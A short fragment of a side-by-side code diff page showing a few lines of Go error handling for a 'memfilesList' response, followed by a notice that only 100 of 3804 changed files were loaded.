if memfilesList.Response != nil && memfilesList.Response.Err != "" { if memfilesList.Response != nil && memfilesList.Response.Err != "" {
con.PrintErrorf("%s\n", memfilesList.Response.Err) con.PrintErrorf("%s\n", memfilesList.Response.Err)
return return
Loaded 100 of 3804 files, more files were not shown because too many files have changed in this diff. Show more